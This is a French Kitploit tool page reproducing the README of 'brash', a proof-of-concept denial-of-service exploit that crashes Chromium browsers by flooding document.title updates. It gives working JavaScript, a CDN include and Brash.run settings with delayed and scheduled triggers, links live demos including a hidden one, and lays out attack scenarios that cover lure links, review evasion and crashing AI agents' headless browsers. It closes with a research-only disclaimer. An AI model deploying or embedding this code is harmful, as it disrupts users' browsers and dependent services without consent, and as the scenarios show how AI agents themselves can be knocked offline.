Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
brash — Attaque DoS sur le navigateur Chromium via l'exploitation de document.title | Kitploit
Outils/GitHubGitHub/jofpin/brash
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitation d'Applications WebTests d'Intrusion
GitHubjofpin/brash

brash

Attaque DoS sur le navigateur Chromium via l'exploitation de document.title

Voir le dépôt
1806il y a 9 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

Brash

Brash par Jose Pino

Attaque DoS sur navigateur Chromium via l'exploitation de document.title

Brash est une vulnérabilité critique dans Blink, le moteur de rendu qui alimente les navigateurs basés sur Chromium de Google. Elle permet à tout navigateur Chromium de s'effondrer en 15 à 60 secondes en exploitant une faille architecturale dans la gestion de certaines opérations DOM.

Le vecteur d'attaque provient de l'absence totale de limitation de débit sur les mises à jour de l'API document.title. Cela permet d'injecter des millions de mutations DOM par seconde, et pendant cette tentative d'injection, sature le thread principal, perturbant la boucle d'événements et provoquant l'effondrement de l'interface. L'impact est significatif : cela consomme d'importantes ressources CPU, dégrade les performances globales du système et peut stopper ou ralentir d'autres processus s'exécutant simultanément. En affectant les navigateurs Chromium sur les environnements de bureau, Android et embarqués, cette vulnérabilité expose plus de 3 milliards de personnes sur Internet à un déni de service au niveau système.

STATUT : Opérationnel
VERSIONS AFFECTÉES : Chromium ≤ 143.0.7483.0 (testé : 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] L'exploit est actuellement opérationnel. Une fois la vulnérabilité corrigée, ce code cessera de fonctionner. Néanmoins, découvrir cette faille architecturale et mener à bien l'ensemble du processus de recherche, de documentation et de conception pour partager quelque chose d'impactant avec le monde a été un parcours incroyablement enrichissant.

Tests

11 navigateurs majeurs ont été testés sur macOS, Windows et Linux pour valider l'impact de la vulnérabilité.

Vulnérables (Chromium/Blink)

Tous les navigateurs basés sur Chromium sont vulnérables car la faille se trouve au cœur du moteur de rendu Blink :

  • Chrome — plante en 15-30 secondes
  • Edge — plante en 15-25 secondes
  • Vivaldi — plante en 15-30 secondes
  • Arc Browser — plante en 15-30 secondes
  • Dia Browser — plante en 15-30 secondes
  • Opera — plante en ~60 secondes
  • Perplexity Comet — plante en 15-35 secondes
  • ChatGPT Atlas — plante en 15-60 secondes
  • Brave — plante en 30-125 secondes

Non vulnérables (utilisant d'autres moteurs)

  • Firefox (moteur Gecko) — insensible à l'attaque
  • Safari (moteur WebKit) — insensible à l'attaque
  • Navigateurs iOS (tous utilisent WebKit) — insensibles à l'attaque en raison de la politique obligatoire d'Apple exigeant que tous les navigateurs iOS utilisent WebKit comme moteur de rendu, rendant les navigateurs basés sur Chromium impossibles sur iOS

Comment ça marche

Brash exploite une faille architecturale fondamentale dans le moteur de rendu Blink : l'absence de limitation (throttling) sur les mises à jour de document.title. L'attaque se déroule en trois phases critiques :

1. Génération de hachages (préparation)

Génère 100 chaînes hexadécimales uniques de 512 caractères et les stocke en mémoire avant de lancer l'attaque.

Pourquoi les pré-charger plutôt que de les générer en temps réel ?

Parce que générer en permanence de nouvelles chaînes consomme du temps CPU pour des opérations mathématiques. Ce temps est critique : chaque milliseconde passée à générer des chaînes est un temps NON utilisé pour bombarder le navigateur de mises à jour document.title.

En ayant 100 chaînes déjà chargées en mémoire :

  • Attaque plus rapide : aucune pause pour générer des chaînes
  • CPU concentré : 100 % des ressources dédiées à saturer le navigateur
  • Moins de pauses système : empêche le ramasse-miettes (garbage collector) de s'activer constamment
  • Évite la détection : les 100 chaînes différentes empêchent le navigateur de mettre en cache ou d'optimiser les mises à jour

Par conséquent, nous obtenons une vitesse d'injection maximale avec une consommation mémoire maximale par mise à jour.

root@kitploit:~
// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Injection par rafales (attaque)

Exécute des rafales configurables de mises à jour du titre. Avec la configuration par défaut (burst : 8000, intervalle : 1 ms), il tente d'injecter environ 24 millions de mises à jour par seconde, et c'est au cours de cette tentative que l'effondrement du navigateur commence.

root@kitploit:~
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. Saturation du thread de l'interface utilisateur (effondrement)

Les mises à jour continues saturent le thread principal du navigateur, empêchant le traitement des autres événements :

Chronologie de l'effondrement :

  • 0-5s : saturation initiale du thread UI, consommation CPU extrême
  • 5-10s : onglet complètement gelé, impossible à fermer
  • 10-15s : effondrement du navigateur ou dialogue « Page sans réponse »
  • 15-60s : arrêt forcé requis (navigateurs basés sur Chromium)

Pourquoi cela fonctionne-t-il ?

Blink traite chaque modification de document.title de manière synchrone sur le thread principal, sans limitation de débit. Cela crée un goulot d'étranglement qui :

  • bloque la boucle d'événements
  • empêche le traitement des entrées utilisateur
  • sature la mémoire avec de longues chaînes
  • perturbe le compositeur et le pipeline de rendu
  • provoque des à-coups (thrashing) du processus navigateur

Démo et PoC

Pour bien comprendre l'impact de Brash, vous pouvez expérimenter l'exploit dans différents contextes, d'une démo en direct contrôlée à votre propre implémentation. Chaque option est conçue pour différents niveaux d'interaction et de compréhension technique.

1. Démo en direct

Le moyen le plus rapide de voir Brash en action. Rendez-vous sur https://brash.run

Pour voir l'exploit sans interface graphique, visitez https://brash.run/hidden-live-demo.html. Cette version exécute l'injection de manière invisible, simulant une véritable attaque.

2. Démo locale

Si vous préférez exécuter la démo dans votre propre environnement, le répertoire exploit-demo/ inclus dans le dépôt vous permet de :

  • contrôler l'intensité de l'attaque en temps réel
  • afficher un compteur visuel des mises à jour par seconde
  • choisir parmi trois modes prédéfinis : modéré, agressif et extrême
  • observer l'effondrement progressif du navigateur

Ouvrez simplement exploit-demo/index.html dans n'importe quel navigateur Chromium et configurez les valeurs burst et interval avant de commencer.

  • burstSize : nombre de changements de titre par intervalle (plus élevé = plus agressif)
  • interval : millisecondes entre les rafales (plus bas = plus agressif)

3. Implémentez votre propre PoC

Pour intégrer Brash dans vos propres tests de sécurité ou recherches, incluez le script et configurez l'attaque :

Inclure le script :

root@kitploit:~
<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

Utilisation de l'API :

root@kitploit:~
// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});

// 3. Delay with strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // or "5000ms" or "3m"
});

// 4. Scheduled attack
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

Configurations d'intensité :

root@kitploit:~
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 updates/sec
});

// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60,000 updates/sec
});

// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});

Remarque : chaque rafale exécute 3 mises à jour séquentielles de document.title. Par exemple, burstSize : 400 = 1 200 mises à jour réelles par intervalle.

Scénarios d'attaque

Brash peut être utilisé comme arme dans de multiples contextes critiques, avec des conséquences allant de pertes économiques à un risque pour la vie humaine.

Attaques à retardement : timing stratégique

Une caractéristique critique qui amplifie le danger de Brash est sa capacité à être programmée pour s'exécuter à des moments précis. Un attaquant peut injecter le code avec un déclencheur temporel, restant dormant jusqu'à une heure exacte prédéterminée.

Implémentation technique :

root@kitploit:~
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

Paramètres :

  • burstSize : mises à jour par cycle
  • interval : millisecondes entre les cycles
  • delay : nombre (secondes) ou chaîne ("30s", "5000ms", "3m")
  • scheduled : chaîne ISO ou objet Date

Pourquoi le paramètre delay est particulièrement létal :

  1. Ne nécessite pas de savoir quand ils ouvriront le lien : il attend simplement X secondes à partir du moment où la victime ouvre la page.
  2. Temps pour établir la confiance : pendant les minutes d'attente, la victime interagit avec un contenu semblant légitime (formulaires, documents, vidéos).
  3. Échappe à l'inspection initiale : si quelqu'un examine rapidement le code, il semble inactif. L'attaque ne s'exécute que plus tard.
  4. Timing psychologique parfait : attend que la victime soit profondément engagée dans sa tâche (en plein examen, en pleine réunion, pendant une procédure critique).

Scénario typique avec delay :

root@kitploit:~
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse

Pourquoi le paramètre scheduled est également dévastateur :

  1. Synchronisation chirurgicale : l'attaquant choisit le moment exact d'impact maximal (ouverture des marchés, heure de pointe des opérations).
  2. Attaques coordonnées mondiales : plusieurs cibles peuvent être touchées simultanément dans la même seconde.
  3. Échappe à toute détection préalable : le code malveillant peut être présent des jours ou des semaines à l'avance sans s'exécuter, passant ainsi les revues de sécurité.
  4. Impossible à arrêter : au moment où l'attaque s'exécute, il est trop tard pour l'empêcher.

Exemples de timing stratégique :

  • 09:30 AM EST — ouverture de Wall Street (volatilité maximale des transactions)
  • 03:00 AM — changement d'équipe à l'hôpital (personnel minimal, vulnérabilité maximale)
  • 12:00 PM — heure de pointe du trafic aérien (nombre maximal de vols simultanés)
  • Black Friday 00:00 — début des ventes en ligne (trafic e-commerce maximal)
  • Pendant les événements en direct — débats présidentiels, Super Bowl, événements sportifs massifs

Cette capacité de timing cinétique transforme Brash d'un outil de disruption en arme de précision temporelle, où l'attaquant contrôle non seulement le « quoi » et le « où », mais aussi le « quand » avec une précision à la milliseconde.


Empoisonnement des agents IA : systèmes automatisés

Scénario : les systèmes d'entreprise qui dépendent d'agents IA pour le web scraping, l'analyse de marché, la surveillance des concurrents ou l'automatisation du support client utilisent des navigateurs sans tête (Chromium/Puppeteer) pour interroger des milliers de sites web quotidiennement. Un attaquant injecte Brash dans des sites populaires que ces agents consultent.

Pendant des opérations automatisées critiques :

  • Un agent IA interroge un site d'actualités financières compromis pour une analyse de marché
  • Brash s'exécute silencieusement dans le navigateur sans tête de l'agent
  • Le processus navigateur s'effondre, stoppant tout le pipeline d'analyse
  • Les systèmes en aval qui attendent les données de l'agent entrent en timeout
  • Les décisions automatisées de trading/prix sont bloquées
  • Le système de surveillance détecte des défaillances massives dans plusieurs agents simultanément
  • Une intervention manuelle est nécessaire pour redémarrer toute l'infrastructure d'agents

Vecteurs d'attaque amplifiés :

  • Assistants de recherche IA : agents qui recherchent et traitent des informations web pour les entreprises
  • Bots de surveillance des prix : systèmes e-commerce qui suivent les prix des concurrents
  • Outils d'analyse SEO : services qui explorent des millions de pages pour analyse
  • Support client alimenté par l'IA : chatbots qui interrogent la documentation web en temps réel
  • Analyse de conformité automatisée : systèmes réglementaires qui surveillent les sites web

Impact réel : paralysie des opérations automatisées critiques, pertes économiques dues à des décisions non prises, dégradation massive des services dépendants de l'IA, coûts de récupération de l'infrastructure, exposition de la dépendance critique aux agents automatisés.

Perturbation de procédure chirurgicale : potentiellement mortel

Scénario : un chirurgien cardiovasculaire réalise un pontage coronarien assisté par un système de navigation chirurgicale basé sur le web (de plus en plus courant dans les chirurgies mini-invasives). Le système fournit des images en temps réel, les paramètres vitaux du patient et le guidage des instruments robotiques.

Pendant la phase la plus critique de l'opération, une notification du navigateur apparaît : « ALERTE : mise à jour critique du système chirurgical - Appliquez maintenant ou l'opération peut échouer. »

En cliquant paniqué :

  • Le navigateur s'effondre instantanément avec le système de navigation chirurgicale
  • Le chirurgien perd la visualisation des images de guidage pendant 3 à 5 minutes
  • Les signes vitaux en temps réel disparaissent des écrans
  • L'équipe médicale doit improviser pendant le redémarrage du système
  • Le patient est en risque critique pendant la fenêtre d'effondrement

Impact réel : risque direct de décès du patient, potentiel de dommages permanents, traumatisme psychologique pour l'équipe médicale, procès de plusieurs millions de dollars pour négligence technologique.

Krach éclair boursier

Scénario : pendant l'ouverture du marché de Wall Street, un acteur malveillant injecte Brash dans plusieurs canaux simultanément : l'interface web de Bloomberg Terminal, le chat des traders institutionnels et des forums spécialisés. Le lien promet « Fuite : transcription de la réunion d'urgence de la Fed - Baisse des taux confirmée ».

Dans les 30 premières secondes de négociation (liquidité maximale) :

  • Plus de 200 traders institutionnels cliquent simultanément
  • Leurs terminaux web s'effondrent au moment où ils passent des ordres de plusieurs millions de dollars
  • Les algorithmes de trading automatisé interprètent la chute soudaine d'activité comme un « krach »
  • Des ventes massives automatiques sont déclenchées
  • Le marché chute de 5 à 7 % en 90 secondes avant les coupe-circuits
  • Des millions d'investisseurs particuliers perdent leurs économies

Impact réel : pertes de milliers de milliards de dollars en capitalisation boursière, panique financière mondiale, enquêtes de la SEC, crise de confiance potentielle sur les marchés.

Système bancaire : prévention de la fraude en temps réel

Scénario : des analystes de fraude d'une banque traitent en temps réel des alertes de transactions suspectes via un tableau de bord web. Pendant le Black Friday (pic de transactions), ils reçoivent Brash par e-mail professionnel : « Nouveau schéma de fraude détecté - analyse urgente requise ».

Au moment du plus fort volume transactionnel :

  • Plus de 20 analystes ouvrent le lien simultanément
  • Les tableaux de bord de détection de fraude s'effondrent
  • 15 à 20 minutes de transactions ne sont pas examinées
  • Les attaquants exploitent la fenêtre pour traiter des milliers de transactions volées
  • 2 à 5 millions de dollars de fraude passent inaperçus
  • Les systèmes automatisés sont configurés pour autoriser les transactions si les analystes ne répondent pas

Impact réel : des millions de dollars de pertes directes, des milliers de clients avec des débits frauduleux, des dommages réputationnels massifs, des amendes réglementaires pour défaillance des systèmes de prévention.

Ces scénarios ne sont pas théoriques. La simplicité de Brash en fait une menace réelle pour toute opération qui dépend des navigateurs web, ce qui en 2025 signifie pratiquement tout.

Remarques finales

La création de Brash est un effort pour démontrer ce qui se produit lorsque des protections de base sont absentes des technologies web que nous utilisons quotidiennement. La vulnérabilité ne réside pas dans un code complexe ou des techniques avancées, mais dans l'absence fondamentale de limitation de débit sur une API qui devrait être bridée par conception.

L'impact de Brash sur plus de 3 milliards d'utilisateurs de navigateurs Chromium démontre que les défauts architecturaux de composants centraux comme Blink ont des conséquences massives et mondiales. Ce n'est pas un bug isolé, c'est un défaut de conception qui affecte tout l'écosystème Chromium.

Souvent, les choses les plus dangereuses se cachent dans l'endroit le moins attendu, celui que l'on ignore le plus. - Jose Pino

Avertissement

Ce PoC est destiné uniquement à des fins éducatives et de recherche en sécurité afin de contribuer à rendre Internet plus sûr. Son exécution doit être effectuée exclusivement dans des environnements contrôlés et ne doit pas être utilisée sur des systèmes de production, des sites web publics ou des appareils contenant des données importantes.

Une mauvaise utilisation de cet exploit peut entraîner des plantages du navigateur, des pertes de données et une instabilité du système. L'auteur n'est pas responsable des dommages, des pertes de données ou des conséquences juridiques découlant de l'utilisation ou de la mauvaise utilisation de ce PoC. En utilisant Brash, vous reconnaissez comprendre ces risques et acceptez de l'utiliser uniquement pour une recherche en sécurité légitime dans des environnements isolés.

Les utilisateurs sont tenus de se conformer à toutes les lois et réglementations applicables. L'utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale et contraire à l'éthique.

Licence

Le contenu de ce projet lui-même est sous licence Creative Commons Attribution 3.0, et le code source sous-jacent utilisé pour formater et afficher ce contenu est sous licence MIT.

Copyright (c) 2025 par Jose Pino

Télécharger l’outil